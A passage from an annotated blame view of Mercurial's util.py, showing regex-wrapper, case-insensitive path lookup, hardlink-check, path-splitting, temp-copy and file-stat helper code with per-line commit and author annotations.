util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1907 if _re2 is None: |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1908 self._checkre2() |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1909 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1910 if flags & remod.IGNORECASE: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1911 pat = '(?i)' + pat |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1912 if flags & remod.MULTILINE: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1913 pat = '(?m)' + pat |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1914 try: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1915 return re2.compile(pat) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1916 except re2.error: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1917 pass |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1918 return remod.compile(pat, flags) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1919 |
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1920 @propertycache |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1921 def escape(self): |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1922 '''Return the version of escape corresponding to self.compile. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1923 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1924 This is imperfect because whether re2 or re is used for a particular |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1925 function depends on the flags, etc, but it's the best we can do. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1926 ''' |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1927 global _re2 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1928 if _re2 is None: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1929 self._checkre2() |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1930 if _re2: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1931 return re2.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1932 else: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1933 return remod.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1934 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1935 re = _re() |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1936 |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1937 _fspathcache = {} |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1938 def fspath(name, root): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1939 '''Get name in the case stored in the filesystem |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1940 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1941 The name should be relative to root, and be normcase-ed for efficiency. |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1942 |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1943 Note that this function is unnecessary, and should not be |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1944 called, for case-sensitive filesystems (simply because it's expensive). |
15670
d6c19cfa03ce
icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15669
diff
changeset
|
1945 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1946 The root should be normcase-ed, too. |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1947 ''' |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1948 def _makefspathcacheentry(dir): |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1949 return dict((normcase(n), n) for n in os.listdir(dir)) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1950 |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1951 seps = pycompat.ossep |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1952 if pycompat.osaltsep: |
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1953 seps = seps + pycompat.osaltsep |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1954 # Protect backslashes. This gets silly very quickly. |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1955 seps.replace('\\','\\\\') |
31496
670166e0fcaa
util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents:
31495
diff
changeset
|
1956 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
1957 dir = os.path.normpath(root) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1958 result = [] |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1959 for part, sep in pattern.findall(name): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1960 if sep: |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1961 result.append(sep) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1962 continue |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1963 |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
1964 if dir not in _fspathcache: |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1965 _fspathcache[dir] = _makefspathcacheentry(dir) |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
1966 contents = _fspathcache[dir] |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1967 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1968 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1969 if not found: |
15720
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
1970 # retry "once per directory" per "dirstate.walk" which |
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
1971 # may take place for each patches of "hg qpush", for example |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1972 _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1973 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1974 |
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1975 result.append(found or part) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
1976 dir = os.path.join(dir, part) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1977 |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1978 return ''.join(result) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1979 |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1980 def checknlink(testfile): |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1981 '''check whether hardlink count reporting works properly''' |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1982 |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1983 # testfile may be open, so we need a separate file for checking to |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1984 # work around issue2543 (or testfile may get lost on Samba shares) |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1985 f1, f2, fp = None, None, None |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1986 try: |
38164
aac4be30e250
py3: wrap tempfile.mkstemp() to use bytes path
Yuya Nishihara <yuya@tcha.org>
parents:
37972
diff
changeset
|
1987 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile), |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1988 suffix='1~', dir=os.path.dirname(testfile)) |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1989 os.close(fd) |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1990 f2 = '%s2~' % f1[:-2] |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1991 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1992 oslink(f1, f2) |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1993 # nlinks() may behave differently for files on Windows shares if |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1994 # the file is open. |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1995 fp = posixfile(f2) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1996 return nlinks(f2) > 1 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1997 except OSError: |
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1998 return False |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1999 finally: |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2000 if fp is not None: |
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2001 fp.close() |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2002 for f in (f1, f2): |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2003 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2004 if f is not None: |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2005 os.unlink(f) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2006 except OSError: |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2007 pass |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2008 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2009 def endswithsep(path): |
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2010 '''Check path ends with os.sep or os.altsep.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2011 return (path.endswith(pycompat.ossep) |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
2012 or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2013 |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2014 def splitpath(path): |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2015 '''Split path by os.sep. |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2016 Note that this function does not use os.altsep because this is |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2017 an alternative of simple "xxx.split(os.sep)". |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2018 It is recommended to use os.path.normpath() before using this |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2019 function if need.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2020 return path.split(pycompat.ossep) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2021 |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2022 def mktempcopy(name, emptyok=False, createmode=None): |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2023 """Create a temporary file with the same contents from name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2024 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2025 The permission bits are copied from the original file. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2026 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2027 If the temporary file is going to be truncated immediately, you |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2028 can use emptyok=True as an optimization. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2029 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2030 Returns the name of the temporary file. |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2031 """ |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2032 d, fn = os.path.split(name) |
38164
aac4be30e250
py3: wrap tempfile.mkstemp() to use bytes path
Yuya Nishihara <yuya@tcha.org>
parents:
37972
diff
changeset
|
2033 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2034 os.close(fd) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2035 # Temporary files are created with mode 0600, which is usually not |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2036 # what we want. If the original file already exists, just copy |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2037 # its mode. Otherwise, manually obey umask. |
15010
c3114acd8ea2
util: factor new function copymode out of mktempcopy
Adrian Buehlmann <adrian@cadifra.com>
parents:
14999
diff
changeset
|
2038 copymode(name, temp, createmode) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2039 if emptyok: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2040 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2041 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2042 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2043 ifp = posixfile(name, "rb") |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2044 except IOError as inst: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2045 if inst.errno == errno.ENOENT: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2046 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2047 if not getattr(inst, 'filename', None): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2048 inst.filename = name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2049 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2050 ofp = posixfile(temp, "wb") |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2051 for chunk in filechunkiter(ifp): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2052 ofp.write(chunk) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2053 ifp.close() |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2054 ofp.close() |
16705
c2d9ef43ff6c
check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents:
16703
diff
changeset
|
2055 except: # re-raises |
34435
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2056 try: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2057 os.unlink(temp) |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2058 except OSError: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2059 pass |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2060 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2061 return temp |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2062 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2063 class filestat(object): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2064 """help to exactly detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2065 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2066 'stat' attribute is result of 'os.stat()' if specified 'path' |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2067 exists. Otherwise, it is None. This can avoid preparative |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2068 'exists()' examination on client side of this class. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2069 """ |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2070 def __init__(self, stat): |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2071 self.stat = stat |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2072 |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2073 @classmethod |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2074 def frompath(cls, path): |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2075 try: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2076 stat = os.stat(path) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2077 except OSError as err: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2078 if err.errno != errno.ENOENT: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2079 raise |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2080 stat = None |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2081 return cls(stat) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2082 |
32816
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2083 @classmethod |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2084 def fromfp(cls, fp): |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2085 stat = os.fstat(fp.fileno()) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2086 return cls(stat) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2087 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2088 __hash__ = object.__hash__ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2089 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2090 def __eq__(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2091 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
